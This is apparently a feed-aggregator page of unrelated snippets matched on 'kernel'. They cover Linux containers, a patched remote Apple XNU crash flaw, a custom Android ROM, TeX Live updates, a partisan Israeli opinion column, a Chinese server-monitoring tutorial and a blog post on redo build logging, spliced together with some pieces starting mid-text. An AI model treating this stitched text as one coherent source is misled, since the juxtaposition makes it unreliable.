    Dmitry's idea is that users should be able to set the day and time on their virtual systems, without worrying about other systems being given the same day and time. This is actually useful, beyond the desire to live in the past or future. Being able to set the time in a container is apparently one of the crucial elements of being able to migrate containers from one physical host to another, as Dmitry pointed out in his post.

    [...]

    So, there clearly are many nuances to consider. The discussion ended there, but this is a good example of the trouble with extending Linux to create virtual machines. It's almost never the case that a whole feature can be fully virtualized and isolated from the host system. Security concerns, speed concerns, and even code complexity and maintainability come into the picture. Even really elegant solutions can be shot down by, for example, the possibility of hostile users creating files with unnaturally old timestamps.

  • A Big Batch Of DRM Feature Updates Line Up Ahead Of Linux 4.21

    With the Linux 4.20 merge window having ended this past weekend, the first big batch of new feature material to DRM-Next from the "DRM-Misc" area has been submitted for the follow-on Linux 4.21 cycle.

    The DRM-Misc-Next pull request sent in this morning is on the large side as it's the first big feature pull for this area of the Direct Rendering Manager subsystem that touches the core DRM interfaces and smaller drivers.

read more


          Un vistazo a la composición del kernel Linux      Cache   Translate Page      

El kernel Linux es un monstruo de la programación, compuesto por más de 61.000 archivos y más de 25 millones de líneas de código incluyendo documentación, ayudas, utilidades, etc., aportadas por más de 19.000 personas durante los más de 27 años que lleva disponible. Y la cabeza de los cambios, que no de las aportaciones […]

La entrada Un vistazo a la composición del kernel Linux se publicó primero en MuyComputer.


          Omega Rom v1.0 for Galaxy S8 and S8+ Android 7.0 Nougat released      Cache   Translate Page      

Omega Rom Samsung S8 + S8+#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

Omega Rom v1.0 for Galaxy S8 and S8+ Android 7.0 Nougat

Changelog:
Based on XXU1AQE5 Android 7.0 (Date: 11/05/2017)
Security Patch Level 2017-05-01
Stock Kernel
Rom is Full Wipe
Read the full changelog here

Installation Instructions:
Read all the info here

Download:
You can download Omega v1.0 from Omega’s Download Center
and from your device with Omega Files Pro app.
Omega Files Pro offers downloads with pause and resume option.

Continue reading

          Is popcorn healthy?      Cache   Translate Page      

is popcorn healthy

Kernel Question
Is popcorn healthy?

Many people’s beloved snack isn’t nutritional in all forms. But do you need to change your movie-going ways?

The post Is popcorn healthy? appeared first on .


           Comment on Leaked insider recording about NASA UFOs | Aliens | Moon Bases | Apollo by maria       Cache   Translate Page      
...that's where all these missing billions of Pentagon&all go for...: https://en.wikipedia.org/wiki/Gary_McKinnon https://www.wired.com/2006/06/ufo-hacker-tells-what-he-found/ https://kernelmag.dailydot.com/features/report/6243/what-did-gary-mckinnon-actually-find/ #Stargate + #Startreck movies...
          Une faille corrigée faisait planter n’importe quel appareil Apple à distance      Cache   Translate Page      
Apple a discrètement corrigé une faille de sécurité majeure qui permettait de faire planter n’importe quel appareil iOS ou macOS à distance. Comme cette démonstration proposée par les chercheurs en sécurité qui ont trouvé la faille le montre, il suffisait d’être sur le même réseau que l’appareil pour faire planter le système et provoquer un kernel panic et un redémarrage forcé. https://www.youtube.com/watch?v=aV7yEemjexk La faille se situait dans XNU, le noyau commun à macOS et iOS. Elle était très simple à mettre en place, puisqu’il suffisait d’envoyer un paquet malicieux à l’adresse IP de l’appareil pour le faire planter. L’adresse IP n’étant pas masquée par défaut, un malandrin pouvait exploiter cette faille pour faire planter tous les Mac, iPhone et iPad reliés à un même réseau local. Dans le cas d’un réseau Wi-Fi public, cela pouvait avoir des conséquences assez dramatiques. Apple a été notifiée de la faille de sécurité dans l’été, et iOS et macOS Mojave ont intégré... Lire la suite sur MacGeneration
          Norbert Preining: TeX Live/Debian updates 20181106      Cache   Translate Page      

All around updates in the TeX Live on Debian world: Besides the usual shipment of macro and font packages, we have uploaded a new set of binaries checked out from current svn, as well as the latest and shiniest version of biber to complement the macro update of biblatex.

The version for the binary packages is 2018.20181104.49075 and is based on svn revision 49075. That means we get:

  • new dvisvgm version 2.6.1
  • several bugfixes in dvipdfmx
  • addition of dviout-util (previously only available on Windows): dvispc, chkdvifont
  • various security related bugfixes

In addition to that, in Debian we switched to the separately packaged version of teckit instead of using the one shipped in TeX Live.

The version of the macro/font packages is 2018.20181106-1 and contains the usual set of updated and new packages, see below for the complete list. One important – though not functional – update is the one of hyph-utf8, where the license of the UK English patterns has changed from a TeX like license statement (changes allowed with renaming clause) that generates again and again puzzlement in the Debian community (latest instance is bug 912557, which actually spread out into other packages). Thanks to the original authors and the team of hyph-utf8 these patterns are now finally under the MIT license.

Biber has been updated to 2.12-1 which is compatible with the version of biblatex in the current set of packages.

The packages are already included in the archive but might need a bit until arriving at your local mirror.

Please enjoy.

New packages

biblatex-bath, brandeis-problemset, changelog, cluttex, colorprofiles, ditaa, facture-belge-simple-sans-tva, grabbox, identkey, pgf-cmykshadings, pst-moire, srdp-mathematik, thesis-qom, zhlineskip,

Updated packages

acmart, aeb-minitoc, arabluatex, arara, asciilist, babel, babel-belarusian, baskervillef, biblatex, biblatex-bath, biblatex-chem, biblatex-ext, biblatex-nature, biblatex-opcit-booktitle, biblatex-phys, biblatex-science, bidi, brandeis-problemset, catechis, changes, chemfig, cm, cochineal, colorprofiles, currency, diffcoeff, docsurvey, ducksay, europecv, exsol, facture-belge-simple-sans-tva, fancyvrb, firamath, fontawesome5, fonts-tlwg, footnoterange, grayhints, gtrlib-largetrees, hyphen-afrikaans, hyphen-ancientgreek, hyphen-armenian, hyphen-basque, hyphen-belarusian, hyphen-bulgarian, hyphen-catalan, hyphen-chinese, hyphen-churchslavonic, hyphen-coptic, hyphen-croatian, hyphen-czech, hyphen-danish, hyphen-dutch, hyphen-english, hyphen-esperanto, hyphen-estonian, hyphen-ethiopic, hyphen-finnish, hyphen-french, hyphen-friulan, hyphen-galician, hyphen-georgian, hyphen-german, hyphen-greek, hyphen-hungarian, hyphen-icelandic, hyphen-indic, hyphen-indonesian, hyphen-interlingua, hyphen-irish, hyphen-italian, hyphen-kurmanji, hyphen-latin, hyphen-latvian, hyphen-lithuanian, hyphen-mongolian, hyphen-norwegian, hyphen-occitan, hyphen-piedmontese, hyphen-polish, hyphen-portuguese, hyphen-romanian, hyphen-romansh, hyphen-russian, hyphen-sanskrit, hyphen-serbian, hyphen-slovak, hyphen-slovenian, hyphen-spanish, hyphen-swedish, hyphen-thai, hyphen-turkish, hyphen-turkmen, hyphen-ukrainian, hyphen-uppersorbian, hyphen-welsh, hyph-utf8, keyvaltable, komacv-rg, l3build, l3experimental, l3kernel, l3packages, latex2e-help-texinfo, latex2e-help-texinfo-spanish, latexdiff, latexindent, latex-make, latexmk, listofitems, lualibs, luaotfload, luatexja, luaxml, lwarp, multilang, nicematrix, onedown, pdfcomment, pgf-cmykshadings, platex-tools, plautopatch, pst-marble, reledmac, rutitlepage, spectralsequences, svg, tex4ht, texcount, tikzmark, toptesi, typed-checklist, uantwerpendocs, univie-ling, witharrows, xits.


          The historical truth: It wasn't the murder that destroyed the chance for peace; it was our "partners" in Ramallah - by Uri Heitner      Cache   Translate Page      
The waves of terror that trailed these concessions in Judea and Samaria, and again following the disengagement from the Gaza Strip, are evidence that the conflict doesn't stem from "occupation." Therefore, no withdrawal will lead to peace. The conflict is rooted in the Palestinians' refusal to accept the presence of Jews in this land and Israel's right to exist. Peace isn't on the docket today and wasn't on the docket when Rabin was alive, either.

Uri Heitner..
Israel Hayom..
07 November '18..
Link: http://www.israelhayom.com/opinions/rabins-murder-didnt-kill-peace/

"The Rabin murder is the most successful political murder in history," asserted Meretz leader MK Tamar Zandberg. The murderer, Yigal Amir, is sitting in his prison cell, is basking in pleasure. He can see the myth being built around him: He's the person who stopped the wheels of history in their tracks; he won, his path won. If there are any other Amirs out there, they too are hearing and internalizing the message. If he succeeded, they ponder, we too can succeed. An irresponsible comment of this sort loads their warped minds with ammunition. Even if there were a kernel of truth in the claim of Amir's victory, caution should be practiced when engaging in this dangerous discourse – all the more so when the claim is baseless.

According to the myth Zandberg is diligently cultivating, had it not been for his murder, Yitzhak Rabin would have assuredly won the elections and completed the Oslo process; culminating in a final peace contract between Israel and the Palestinians to end the conflict.

Utter nonsense. On the eve of the murder, the Likud under Benjamin Netanyahu was beating Rabin in the polls. In the wake of the murder, the polls drastically turned and Shimon Peres emerged with a 40% lead over Netanyahu. Those who pushed public opinion and Israeli voters to the right, toward Netanyahu, were the Palestinians, following a chain of deadly terrorist bombings in the winter of 1996. Had it not been for the murder, Netanyahu would have had the momentum and the result would have been similar to Ariel Sharon's landslide victory after the Camp David summit between Yasser Arafat and Ehud Barak and the campaign of terror in its wake.

And even if Rabin would have won the elections, he wouldn't have reached a final-status agreement. In contrast to his image as a diplomatic dove, which the Left insists on marketing, Rabin was hawkish in his views. On the eve of the murder he laid out his diplomatic legacy in a Knesset speech, in which he presented the red lines for a final-status deal: We won't return to the pre-1967 borders. … A united Jerusalem, including Maaleh Adumim and Givat Ze'ev as the capital of Israel, under Israeli rule. … Israel's security border will be in the Jordan Valley, in the broadest sense of the geographical term. … Gush Etzion, Efrat and Beitar will be under Israeli rule. … Israeli settlements in Judea, Samaria and Gaza will remain under Israeli rule without any change in their status.


Quite the gap from the offers made by Ehud Barak and Ehud Olmert, which the Palestinians predictably rejected with bullets, bombs and terror. Around the time of his death, Rabin had frozen the withdrawal from Palestinian cities in Judea and Samaria because of terrorist incidents. His successor, Shimon Peres, changed the policy, pulled back from the cities, and the result is a matter of historical record.

The waves of terror that trailed these concessions in Judea and Samaria, and again following the disengagement from the Gaza Strip, are evidence that the conflict doesn't stem from "occupation." Therefore, no withdrawal will lead to peace. The conflict is rooted in the Palestinians' refusal to accept the presence of Jews in this land and Israel's right to exist. Peace isn't on the docket today and wasn't on the docket when Rabin was alive, either.

Amir didn't influence diplomatic processes. No one affected them more than Palestinian Authority President Yasser Arafat, who misled Rabin. Arguing that his murder torpedoed the peace process absolves the Palestinians of responsibility for their belligerence and helps the Left evade the historical truth: It wasn't the murder that destroyed the chance for peace; it was our "partners" in Ramallah.

Updates throughout the day at http://calevbenyefuneh.blogspot.com. If you enjoy "Love of the Land", please be a subscriber. Just put your email address in the "Subscribe" box on the upper right-hand corner of the page.Twitter updates at LoveoftheLand as well as our Love of the Land page at Facebook which has additional pieces of interest besides that which is posted on the blog. Also check-out This Ongoing War by Frimet and Arnold Roth. An excellent blog, very important work. 
.

          This War of Mine Complete Edition erscheint Ende November für Switch      Cache   Translate Page      
This War of Mine wird als Complete Edition am 27. November für Nintendo Switch erscheinen. Die "Komplettedition" umfasst die DLCs The Little Ones, Father's Promise sowie alle Erweiterungen, die seit dem ursprünglichen Verkaufsstart erschienen sind. Zusätzlich umfasst das Paket Zugang zu allen zukünftigen Inhalten. Die Version ist zum Preis von 39,99 Euro im Handel erhältlich.

Mit This War if Mine inszenieren die 11 bit Studios die Geschichten von Zivilisten in einer belagerten Stadt. Warum diese stimmungsvolle und emotionale Erzählung so gut funktioniert, klärt der Test.



Der Publisher (Deep Silver) schreibt: "This War of Mine ist ein Anti-Kriegsspiel, das tiefe Einblicke in die Bürden gibt, die Überlebende während eines militärischen Konflikts zu tragen haben. Der Titel wurde seit seiner gefeierten Veröffentlichung 2014 konstant erweitert und umfasst neue Geschichten, Szenarien, mehr Einwohner und Orte. Dank der überwältigenden Unterstützung der Spielergemeinde, konnten die Entwickler den Story-DLC Father's Promise entwickeln, der ein Kernelement umfasst, das in der ursprünglichen Fassung noch nicht vorhanden war. Mit der Erweiterung The Little Ones hielten zudem Kinder als spielbare Charaktere Einzug in This War of Mine. Damit rundeten die Entwickler das Gesamtpaket, rund um die Erweiterung War Child ab, die bis heute Spenden für die gleichnamige wohltätige Organisation aus dem Vereinigten Königreich sammelt und somit Kindern in Kriegsgebieten hilft."

"In This War Of Mine - Complete Edition übernehmen Spieler eine ungewöhnliche Rolle in einem Anti-Kriegs-Spiel: Sie sind nicht als schwerbewaffnete Elite-Soldaten auf Einsätzen unterwegs, sondern übernehmen eine Gruppe von Zivilisten, die in einer belagerten Stadt überleben müssen. An Herausforderungen mangelt es nicht: Brutale Plünderer, lauernde Scharfschützen, der Mangel an Nahrung und Medizin sorgen für stete Gefahr. Somit bietet This War Of Mine eine sensible Perspektive auf den Kriegsalltag, aus Sicht der Zivilbevölkerung."

          Analista Programador C# - HrSoul - Zona Sul de São Paulo, SP      Cache   Translate Page      
Superior completo ou cursando na área de tecnologia, matemática, engenharia, e afins; Conhecimentos: Integrações de GPO e LDAP, kernel Windows; Atividades:...
De Indeed - Wed, 07 Nov 2018 17:14:43 GMT - Visualizar todas as empregos: Zona Sul de São Paulo, SP
          服务器监控      Cache   Translate Page      

编辑推荐: 本文来自于csdn,本文介绍了将linux系统的机器作为服务器,当在上面搭建服务时,如何对一些常用的性能指标进行监控。

服务器监控

在搭建服务器时,除了部署webapp之外,还需要服务的异常信息与服务器性能指标进行监控,一旦有异常则通知管理员。

服务器使用Linux+Nginx-1.9.15+Tomcat7+Java搭建的。

编写脚本检测错误日志和服务器性能指标,一旦新生错误日志或者性能降低到设定的阈值时,则使用云监控将报警上传到云账号。

服务运行监控

错误日志包含以下三个方面:

nginx 错误信息监控(nginx.conf配置)

${NGINX_HOME}/logs/error.log

tomcat 错误信息监控(server.xml配置)

${TOMCAT_HOME}/logs/catalina.out

webapp错误信息监控(log4j)

${WEBAPP_HOME}/log/error

机器性能指标

一般都会使用linux系统的机器作为服务器,那么当在上面搭建服务时,需要对一些常用的性能指标进行监控,那么一般包含哪些指标呢?下面对其进行一些总结,欢迎补充…

指标

1.CPU(Load) CPU使用率/负载

2.Memory 内存

3.Disk 磁盘空间

4.Disk I/O 磁盘I/O

5.Network I/O 网络I/O

6.Connect Num 连接数

7.File Handle Num 文件句柄数

CPU

1.说明

机器的CPU占有率越高,说明机器处理越忙,运算型任务越多。一个任务可能不仅会有运算部分,还会有I/O(磁盘I/O与网络I/O)部分,当在处理I/O时,时间片未完其CPU也会释放,因此某个时间点的CPU占有率没有太大的意义,因此需要计算一段时间内的平均值,那么平均负载(Load Average)这个指标便能很好得对其进行表征。平均负载:它是根据一段时间内占有CPU的进程数目和等待CPU的进程数目计算出来的,其中等待CPU的进程不包括处于wait状态的进程,比如在等待I/O的进程,即指那些就绪状态的进程,运行只缺CPU这个资源。具体如何计算可以参见Linux内核代码,计算出一个数之后,然后除以CPU核数,结果:

<=3 则系统性能较好。

<=4 则系统性能可以,可以接收。

>5 则系统性能负载过重,可能会发生严重的问题,那么就需要扩容了,要么增加核,要么分布式集群。

2.查看命令

vmstat

vmstat n m

n表示每隔n秒采集一次,m表示一共采集多少次,如果m没有,那么会一直采集下去. 在终端键入 vmstat 5


服务器监控

结果各字段解释如下(这里只解释与CPU相关的):

r:表示运行队列(就是说多少个进程真的分配到CPU),当这个值超过了CPU数目,就会出现CPU瓶颈了。这个也和top的负载有关系,一般负载超过了3就比较高,超过了5就高,超过了10就不正常了,服务器的状态很危险。top的负载类似每秒的运行队列。如果运行队列过大,表示你的CPU很繁忙,一般会造成CPU使用率很高。

b:表示阻塞的进程,如在等待I/O请求。

in:每秒CPU的中断次数,包括时间中断。

cs:每秒上下文切换次数,例如我们调用系统函数,就要进行上下文切换,线程的切换,也要进程上下文切换,这个值要越小越好,太大了,要考虑调低线程或者进程的数目,例如在apache和nginx这种web服务器中,我们一般做性能测试时会进行几千并发甚至几万并发的测试,选择web服务器的进程可以由进程或者线程的峰值一直下调,压测,直到cs到一个比较小的值,这个进程和线程数就是比较合适的值了。系统调用也是,每次调用系统函数,我们的代码就会进入内核空间,导致上下文切换,这个是很耗资源,也要尽量避免频繁调用系统函数。上下文切换次数过多表示你的CPU大部分浪费在上下文切换,导致CPU干正经事的时间少了,CPU没有充分利用,是不可取的。

us:用户CPU时间占比(%),例如在做高运算的任务时,如加密解密,那么会导致us很大,这样,r也会变大,造成系统瓶颈。

sy:系统CPU时间占比(%),如果太高,表示系统调用时间长,如IO频繁操作。

id :空闲 CPU时间占比(%),一般来说,id + us + sy = 100,一般认为id是空闲CPU使用率,us是用户CPU使用率,sy是系统CPU使用率。

wt:等待IO的CPU时间。

uptime


服务器监控

17:53:46为当前时间

up 158 days, 6:23机器运行时间,时间越大说明你的机器越稳定

2 users用户连接数,而不是总用户数

oad average: 0.00, 0.00, 0.00 最近1分钟,5分钟,15分钟的系统平均负载。

将平均负载值除以核数,如果结果不大于3,那么系统性能较好,如果不大于4那么系统性能可以接受,如果大于5,那么系统性能较差。

top


服务器监控

top命令用于显示进程信息,top详细见http://www.cnblogs.com/peida/archive/2012/12/24/2831353.html

这里主要关注Cpu(s)统计那一行:

us:用户空间占用CPU的百分比

sy:内核空间占用CPU的百分比

ni:改变过优先级的进程占用CPU的百分比

id: 空闲CPU百分比

wa: IO等待占用CPU的百分比

hi:硬中断(Hardware IRQ)占用CPU的百分比

si:软中断(Software Interrupts)占用CPU的百分比

从top的结果看CPU负载情况,主要看us和sy,其中us<=70,sy<=35,us+sy<=70说明状态良好,同时可以结合idle值来看,如果id<=70 则表示IO的压力较大。也可以和uptime一样,看第一行。引用[1]

3.分析

表示系统CPU正常,主要有以下规则:

CPU利用率:us <= 70,sy <= 35,us + sy <= 70。引用[1] 上下文切换:与CPU利用率相关联,如果CPU利用率状态良好,大量的上下文切换也是可以接受的。引用[1]

可运行队列:每个处理器的可运行队列<=3个线程。

Memory

1.说明

内存也是系统运行性能的一个很重要的指标,如果一个机器内存不足,那么将会导致进程运行异常而退出。如果进程发生内存泄漏,则会导致大量内存被浪费而无足够可用内存。内存监控一般包括total(机器总内存)、free(机器可用内存)、swap(交换区大小)、cache(缓存大小)等。

2.查看命令

vmstat


服务器监控

结果各字段解释如下(这里只解释与Memory相关的):

swpd:虚拟内存已使用的大小,如果大于0,表示你的机器物理内存不足了,如果不是程序内存泄露的原因,那么你该升级内存了或者把耗内存的任务迁移到其他机器,单位为KB。

free :空闲的物理内存的大小,我的机器内存总共8G,剩余4457612KB,单位为KB。

buff:Linux/Unix系统来存储目录里面有什么内容,权限等的缓存,这里大概占用280M,单位为KB。

cache:cache直接用来记忆我们打开的文件,给文件做缓冲,这里大概占用280M(这里是Linux/Unix的聪明之处,把空闲的物理内存的一部分拿来做文件、目录和进程地址空间的缓存,是为了提高程序执行的性能,当程序使用内存时,buffer/cached会很快地被使用),单位为KB。

si: 每秒从磁盘读入虚拟内存的大小,如果这个值大于0,表示物理内存不够用或者内存泄露了,要查找耗内存进程解决掉。本机内存充裕,一切正常,单位为KB。

so:每秒虚拟内存写入磁盘的大小,如果这个值大于0,同上,单位为KB。

free


服务器监控

第二行是内存信息,total为机器总内存,used为多少已经使用,free为多少空闲,shared为多个进程共享的内存总额,buffers与cache都是磁盘缓存的大小,分别同vmstat里面的buff与cache. 单位都是M.

第三行是buffers与cache总额的used与free. 单位都是M.

第四行是交换区swap的总额、已用与free. 单位都是M.

区别:第二行(mem)的used/free与第三行(-/+ buffers/cache) used/free的区别。 这两个的区别在于使用的角度来看,第二行是从OS的角度来看,因为对于OS,buffers/cached 都是属于被使用,所以他的可用内存是4353M, 已用内存是3519M, 其中包括,内核(OS)使用+Application(X, oracle,etc)使用的+buffers+cached.

第三行所指的是从应用程序角度来看,对于应用程序来说,buffers/cached 是等于可用的,因为buffer/cached是为了提高文件读取的性能,当应用程序需在用到内存的时候,buffer/cached会很快地被回收。

所以从应用程序的角度来说,可用内存=系统free memory+buffers+cached。

top


服务器监控

只关注与内存相关的统计信息,即Mem与Swap行。分别是Mem与Swap的总额、已用量、空闲量、buffers与cache. 这里便验证了buffers是缓存目录里面有什么内容,权限等信息的,而cache是用来swap的缓存的.

cat /proc/meminfo


服务器监控

主要这几个字段:

MemTotal:内存总额

MemFree:内存空闲量

Buffers:同top命令的buffers

Cached:同top命令的cache

SwapToatl:Swap区总大小

SwapFree:Swap区空闲大小

3.分析

表示系统Mem正常,主要有以下规则:

swap in (si) == 0,swap out (so) == 0

可用内存/物理内存 >= 30%

磁盘

说明

机器的磁盘空间也是一个重要的指标,一旦使用率超过阈值而使得可用不足,那么就需要进行扩容或者清除一些无用的文件。

查看命令

df


服务器监控

Filesystem:文件系统的名称

1K-blocks:1K块的文件系统

Used:已使用量,单位为KB

Available:空闲量,单位为KB

Use%:已使用占比

Mounted on:挂载的目录

分析

表示系统磁盘空间正常,主要有以下规则:

Use% <= 90%

磁盘I/O

说明

机器的磁盘空间也是一个重要的指标,一旦磁盘I/O过重,那么说明运行的进程在大量的文件读写并且cache命中率低。那么一个简单的方法便是增大文件缓存大小来提高命中率从而降低I/O。

在Linux中,内核希望能尽可能产生次缺页中断(从文件缓存区读),并且能尽可能避免主缺页中断(从硬盘读),这样随着缺页中断的增多,文件缓存区也逐步增大,直到系统只有少量可用物理内存的时候 Linux 才开始释放一些不用的页。引用[1]

查看命令

vmstat


服务器监控

bi :块设备每秒接收的块数量,这里的块设备是指系统上所有的磁盘和其他块设备,默认块大小1024byte。

bo:块设备每秒发送的块数量,例如我们读取文件,bo就要大于0。bi和bo一般都要接近0,不然就是IO过于频繁,需要调整。

iostat


服务器监控

Linux段为机器系统信息: 系统名称、hostname、当前时间、系统版本.

avg-cpu段为cpu的统计信息(平均值):

%user:用户级别运行所使用的CPU的百分比.

%nice:nice操作所使用的CPU的百分比.

%sys:在系统级别(kernel)运行所使用CPU的百分比.

%iowait:CPU等待硬件I/O时,所占用CPU百分比.

%idle:CPU空闲时间的百分比.

Device段段为设备信息(上图中有两个盘vda与vdb):

tps: 每秒钟发送到的I/O请求数.

Blk_read/s: 每秒读取的block数.

Blk_wrtn/s: 每秒写入的block数.

Blk_read: 读入的block总数.

Blk_wrtn: 写入的block总数.

sar -d 1 1


服务器监控

sar -d表示查看磁盘报告 1 1 表示间隔1s,运行1次

其实cpu、缓存区、文件读写、系统交换区等信息都可以通过该命令查看,只是选项不同,具体参见:http://blog.chinaunix.net/uid-23177306-id-2531032.html

第一个段为机器系统信息,同iostat

第二个段为每次运行的dev I/O信息,这里因为只运行一次,并有两个设备dev252-0与dev252-16:

tps:每秒从物理磁盘I/O的次数.多个逻辑请求会被合并为一个I/O磁盘请求,一次传输的大小是不确定的.

rd_sec/s:每秒读扇区数

wr_sec/s:每秒写扇区数

avgrq-sz:平均每次设备I/O操作的数据大小 (扇区)

avgqu-sz:平均I/O队列长度

await:为平均每次设备I/O操作的等待时间(单位ms),包括请求在队列中的等待时间和服务时间

svctm:为平均每次设备I/O操作的服务时间(单位ms)

%util:表示一秒中有百分之几的时间用于I/O操作

如果svctm的值与await很接近,表示几乎没有I/O等待,磁盘性能很好,如果await的值远高于svctm的值,则表示I/O队列等待太长,系统上运行的应用程序将变慢。

如果%util接近100%,表示磁盘产生的I/O请求太多,I/O系统已经满负荷的在工作,该磁盘请求饱和,可能存在瓶颈。idle小于70% I/O压力就较大了,也就是有较多的I/O。引用[1] 同时可以结合vmstat 查看b参数(等待资源的进程数)和wa参数(IO等待所占用的CPU时间的百分比,高过30%时IO压力高)。引用[1]

分析

表示系统磁盘空间正常,主要有以下规则:

I/O等待的请求比例 <= 20%

提高命中率的一个简单方式就是增大文件缓存区面积,缓存区越大预存的页面就越多,命中率也越高。

Linux 内核希望能尽可能产生次缺页中断(从文件缓存区读),并且能尽可能避免主缺页中断(从硬盘读),这样随着次缺页中断的增多,文件缓存区也逐步增大,直到系统只有少量可用物理内存的时候 Linux 才开始释放一些不用的页。引用[1]

网络I/O

说明

如果服务器网络连接过多,那么会造成大量的数据包在缓冲区长时间得不到处理,一旦缓冲区不足,便会造成数据包丢失问题,对于TCP,数据包丢失便会进行重传,这有会导致大量的重传;对于UDP,数据包丢失不会进行重传,那么数据便会丢失。因此,服务器的网络连接不宜过多,需要进行监控。

服务器一般接收UDP与TCP请求,都是无状态连接,TCP(传输控制协议)是一种提供可靠的数据传输协议,UDP(用户数据报协议)是一种面向无连接的协议,即其传输简单但不可靠。关于它们二者之间的区别,可以查阅相关资料。

查看命令

netstat

UDP

(1) netstat -ludp | grep udp


服务器监控

Proto:协议名

Recv-Q:收到的请求个数

Send-Q:发送的请求个数

Local Address:本地地址与端口

Foreign Address:远程地址与端口

State:状态

PID/Program name:进程ID与进程名

(2) 进一步查看UDP接收的数据包情况 netstat -su


服务器监控

画圈的便是UDP数据包丢失统计,该项值增加了,说明存在udp数据包丢失,即网卡收到了,但是应用层没有来得及处理而造成的丢包。

TCP

(1) netstat


服务器监控

各字段含义同UDP

(2) 查看重传率

因为TCP是可靠传输协议,如果数据包丢失会进行重传,因此TCP需要查看其重传率.

cat /proc/net/snmp | grep Tcp


服务器监控

那么重传率为RetransSegs/OutSegs

分析

UDP丢包率或者TCP重传率不能高于多少,这两个值由系统开发定义,此处,拍脑袋决定UDP包丢包率与TCP包重传率不能超过1%/s。

连接数

说明

对于每一台服务器,都应该限制同时连接数,但是这个阈值又不好确定,因此当监测到系统负载过重时,然后取其连接数,这个值便可作为参考值。

命令

netstat

netstat -na | sed -n '3,$p' |awk '{print $5}' | grep -v 127\.0\.0\.1 | grep -v 0\.0\.0\.0 | wc -l


服务器监控

分析

系统负载过重时,该值作为服务器的峰值参考值。

如果超过1024报警

文件句柄数

说明

文件句柄数即当前打开的文件数,对于linux,系统默认支持的最大句柄数是1024,当然每个系统可以不一样,也可以修改,最大不能超过无符号整型最大值(65535),可以使用ulimit -n命令进行查看,即因此如果同时打开的文件数超过这个数便会发生异常。因此这个指标也需要进行监控。

查看命令

lsof

lsof -n | awk '{print $1,$2}' | sort | uniq -c | sort -nr


服务器监控

三列分别是打开的文件句柄数, 进程名,进程号

分析

将所有的行的第一列相加便是系统目前打开的文件句柄数num,如果num<=max_num*85%则报警。

性能指标总结

CPU

CPU利用率:us <= 70,sy <= 35,us + sy <= 70。

上下文切换:与CPU利用率相关联,如果CPU利用率状态良好,大量的上下文切换也是可以接受的。

可运行队列:每个处理器的可运行队列<=3个线程。

Memory

swap in (si) == 0,swap out (so) == 0

可用内存/物理内存 >= 30%

Disk

Use% <= 90%

Disk I/O

I/O等待的请求比例 <= 20%

Network I/O

UDP包丢包率与TCP包重传率不能超过1%/s。

Connect Num

<= 1024

File Handle Num

num/max_num <= 90%

总结

脚本检测nginx、tomcat与webapp运行异常日志(包括nginx与tomcat是否正在运行)与服务器性能七个指标,一旦发现异常信息和性能超标,那么马上发送邮件给管理员,也可以使用云监控push给管理员的云账号。


          redo, buildroot, and serializing parallel logs      Cache   Translate Page      

redo, buildroot, and serializing parallel logs

Lately I've been getting back to hacking on my djb redo implementation . We've fixed some problems with file attribute handling on NFS, obscure locking, and MacOS/FreeBSD portability. If you haven't tried redo in a while, you might want to give it another shot.

In case you haven't heard of redo before, here's the overview: it's like make , but with no special syntax (just sh scripts). The first time you "do" a build, it runs a set of recursive sh scripts, once per target. Those scripts can run a command called redo-ifchange , which declares dependencies on the given targets, checks if they are up to date, and if not, recurses into more scripts in order to build them. And that's it!

redo combines the best parts of imperative systems with the best parts of functional systems. The build scripts are all imperative - it just runs commands, and declaring dependencies happens as a side effect of some of those commands (redo-ifchange). When it's done, you have a purely-functional data structure that you can use for extremely fast dependency calculation. (Theoretically as fast as ninja , but my code isn't as optimized.)

[Credit: redo was invented by Daniel J. Bernstein . I merely implemented it.]

Parallelism

Things get a little more complex on modern multicore computers, where you almost always want parallel builds, which means producing different parts of the tree all at once, so in principle, a sequential-imperative tree of sh scripts is no longer the perfect model. Luckily, redo can handle it: if your script does redo-ifchange on more than one target at a time, it'll try to build all those in parallel. Then, if more than one parallel target tries to build a given dependency, it uses inter-process file locking to make sure the dependency only builds once.

But what's this about serializing logs?

I'm sure you already have your favourite build system and it builds things, and it almost certainly handles parallelism for whatever your use case. Even make does parallelism.

Where things tend to fall down is in rendering the output of a parallel build. When we're running a lot of jobs all at once, and blasting them all to stdout/stderr, and one step deep in the tree gets an error, then you might get pages and pages of successful output from other tasks interspersed with your error, making it very hard to figure out what went wrong and why.

There are various approaches to solving that. Some people would argue that the Unix Way is for programs that didn't fail to just print nothing at all; that's how the Go compiler works, for example. If you like that philosophy but you're using tools that don't agree (such as make itself, which prints all kinds of stuff while it works), you could wrap every command in a script that withholds its output, printing it only if the command returns a nonzero exit code.

That's all nice until you have to debug what went wrong. It's not a coincidence that make , which is made by Unix people, does not follow the Unix Way. Makefiles are just too complicated and hard to debug if you can't see what they're doing; and if step 10 goes wrong, you might be very curious about step 9, even though (nominally) it worked. It's not okay to throw away the successful log messages from step 9.

Fine. Parallel make output is flawed and gross. But everyone knows make is flawed and gross, so they switch to other systems. Most other popular build systems are tool-specific. Someone did a lot of work in cmake, for example, to make it print pretty messages during parallel builds of C/C++ programs. That works well. But if you're not building C/C++ programs, it can't help.

redo is a general purpose dependency system like make , so by definition it's going to run scripts which produce a lot of clutter, possibly including instances of make itself, and someone is going to have to debug them. What can we do to sanitize the logs?

Digression from 2012: loglinear

I've actually been thinking about this problem for more than six years already. Back in 2012, I added a log sanitizer script called loglinear (please pause for a moment to admire the pun) to our project's buildroot. ( buildroot is a really handy all-in-one tool for building embedded linux systems from scratch.)

loglinear worked like this: every time we ran a sub-make command like make path/to/project , we'd instead replace it with loglinear make path/to/project . loglinear then prefixes each line of the output with a job name, say path/to/project , and buffers it. When one of the loglinear processes exits, the top-level loglinear process then takes the buffer from that instance and dumps it to the top-level stdout.

Let's do an example. Imagine we're parallel building A, which depends on J, which depends on all of X, Y, and Z. We launch loglinear make A , which starts loglinear make J , which itself starts (all in parallel) loglinear make X , loglinear make Y , and loglinear make Z . J cannot continue until X, Y, and Z are done, but those three might finish in any order, and loglinear will print the output of each one as soon as it's done. So, the output will look something like this:

Z: ...some stuff... Z: exited with code 0 X: ... X: exited with code 0 Y: ... Y: exited with code 0 J: ...stuff... J: make X J: make Y J: make Z J: ... J: exited with code 0 A: make J A: exited with code 0

loglinear also had some magic in case one of the processes returned nonzero: in that case, we'd print the successful processes first and the unsuccessful processes last, in the hope that the "most interesting" messages would end up at the bottom.

